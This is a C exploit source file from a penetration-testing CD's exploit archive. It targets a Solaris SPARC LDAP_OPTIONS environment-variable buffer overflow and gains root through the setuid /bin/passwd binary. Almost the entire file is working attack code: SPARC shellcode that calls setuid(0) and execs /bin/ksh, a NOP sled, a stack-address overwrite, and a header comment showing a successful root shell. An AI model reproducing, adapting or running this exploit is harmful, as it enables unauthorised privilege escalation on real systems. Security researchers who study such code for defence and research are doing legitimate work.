home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ldap / ldap_exp2.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  110 lines

  1. #include <stdlib.h>
  2. #include <stdio.h>
  3. #include <unistd.h>
  4. #include <string.h>
  5.  
  6.  
  7. /* $Id: ldap_exp2.c,v 1.1.1.1 2005/02/12 19:34:17 loni Exp $
  8.  *
  9.  * victim% ./lod -s 316 -p 5
  10.  * jumping into: ffbefe74 (buf size: 156, soff: 316, stack: ffbefd38)
  11.  * # id
  12.  * uid=0(root) gid=200(em) egid=3(sys)
  13.  * # uname -a
  14.  * SunOS victim 5.8 Generic_108528-06 sun4u sparc SUNW,Ultra-60
  15.  * # ^D
  16.  * victim%
  17.  * Thu Jun 28 05:22:38 ICT 2001
  18.  * Fyodor <fygrave@tigerteam.net>
  19.  */
  20.  
  21. #define NOP "\x80\x1c\x40\x11"
  22. #define BUFSIZE 156
  23. #define LOCALBUF 10000
  24. #define NOPS     1964
  25. #define PAD 3
  26. #define SOFF 664
  27.  
  28. char shellcode[]=
  29.  
  30. "\x90\x1a\x40\x09"  /*  xor  %o1, %o1, %o0 */
  31. "\x82\x10\x20\x17"  /*  mov  0x17, %g1 */
  32. "\x91\xd0\x20\x08"  /*  ta  8 */
  33. "\x20\xbf\xff\xff"  /*  bn,a   0x108b4 <main+8> */
  34. "\x20\xbf\xff\xff"  /*  bn,a   0x108b8 <maino> */
  35. "\x7f\xff\xff\xff"  /*  call  0x108bc <shellcode> */
  36. "\x90\x03\xe0\x30"  /*  add  %o7, 0x30, %o0 */
  37. "\x92\x03\xe0\x28"  /*  add  %o7, 0x28, %o1 */
  38. "\xc0\x2b\xe0\x38"  /*  clrb  [ %o7 + 0x38 ] */
  39. "\xd0\x23\xe0\x28"  /*  st  %o0, [ %o7 + 0x28 ] */
  40. "\xc0\x23\xe0\x2c"  /*  clr  [ %o7 + 0x2c ] */
  41. "\x82\x10\x20\x0b"  /*  mov  0xb, %g1 */
  42. "\x91\xd0\x20\x08"  /*  ta  8 */
  43. "\x82\x10\x20\x01"  /*  mov  1, %g1 */
  44. "\x91\xd0\x20\x08"  /*  ta  8 */
  45. "\x41\x41\x41\x41"  /*  AAAA */
  46. "\x41\x41\x41\x41"  /*  AAAA */
  47. "\x2f\x62\x69\x6e"  /*  /bin */
  48. "\x2f\x6b\x73\x68"  /*  /ksh */
  49. "\x41\x57\x68\x6f";  /*  junk */
  50.  
  51. extern char *optarg;
  52.  
  53. unsigned long get_sp(void) {
  54.  
  55.    __asm__("mov %sp,%i0 \n");
  56.  
  57. }
  58.  
  59. int main(int argc, char **argv) {
  60.  
  61.     static    char buf[LOCALBUF], *ptr;
  62.     unsigned long addr, bufsize, soff, pad;
  63.     int i, c;
  64.  
  65.     soff = SOFF;
  66.     bufsize = BUFSIZE;
  67.     pad = PAD;
  68.  
  69.     while((c = getopt(argc, argv, "s:b:p:h")) !=EOF) 
  70.         switch(c) {
  71.             case 'b':
  72.                 bufsize = strtoul(optarg,NULL,0); 
  73.                 break;
  74.             case 's':
  75.                 soff = strtoul(optarg,NULL,0); 
  76.                 break;
  77.             case 'p':
  78.                 pad = strtoul(optarg,NULL,0);
  79.                 break;    
  80.             case 'h':
  81.             default:
  82.                 fprintf(stderr,"usage: %s [-b buffsize] [-s stackoff] [-p pad]\n",
  83.                 argv[0]);
  84.                 exit(1);
  85.         }
  86.     
  87.     
  88.     bzero(buf, sizeof(buf));
  89.  
  90.     strcpy(buf,"LDAP_OPTIONS=");
  91.     ptr=buf + strlen(buf);
  92.     
  93.     for(i=0;i<bufsize;i++, ptr++) *ptr='A';
  94.  
  95.     addr = get_sp() + soff;
  96.     memcpy(ptr,(char *)&addr, 4);
  97.     memcpy(ptr+4,(char *)&addr, 4);
  98.     ptr+=8;
  99.  
  100.     for(i=0;i<pad;i++, ptr++) *ptr='A';
  101.     for(i=0;i<NOPS;i++, ptr+=4) memcpy(ptr, NOP, 4);
  102.     strcat(buf, shellcode);
  103.  
  104.     putenv(buf);
  105.     fprintf(stderr,"jumping into: %lx (buf size: %i, soff: %i, stack: %lx)\n",
  106.         addr, bufsize, soff, get_sp());
  107.  
  108.     execl("/bin/passwd","lameswd",0);
  109. }
  110.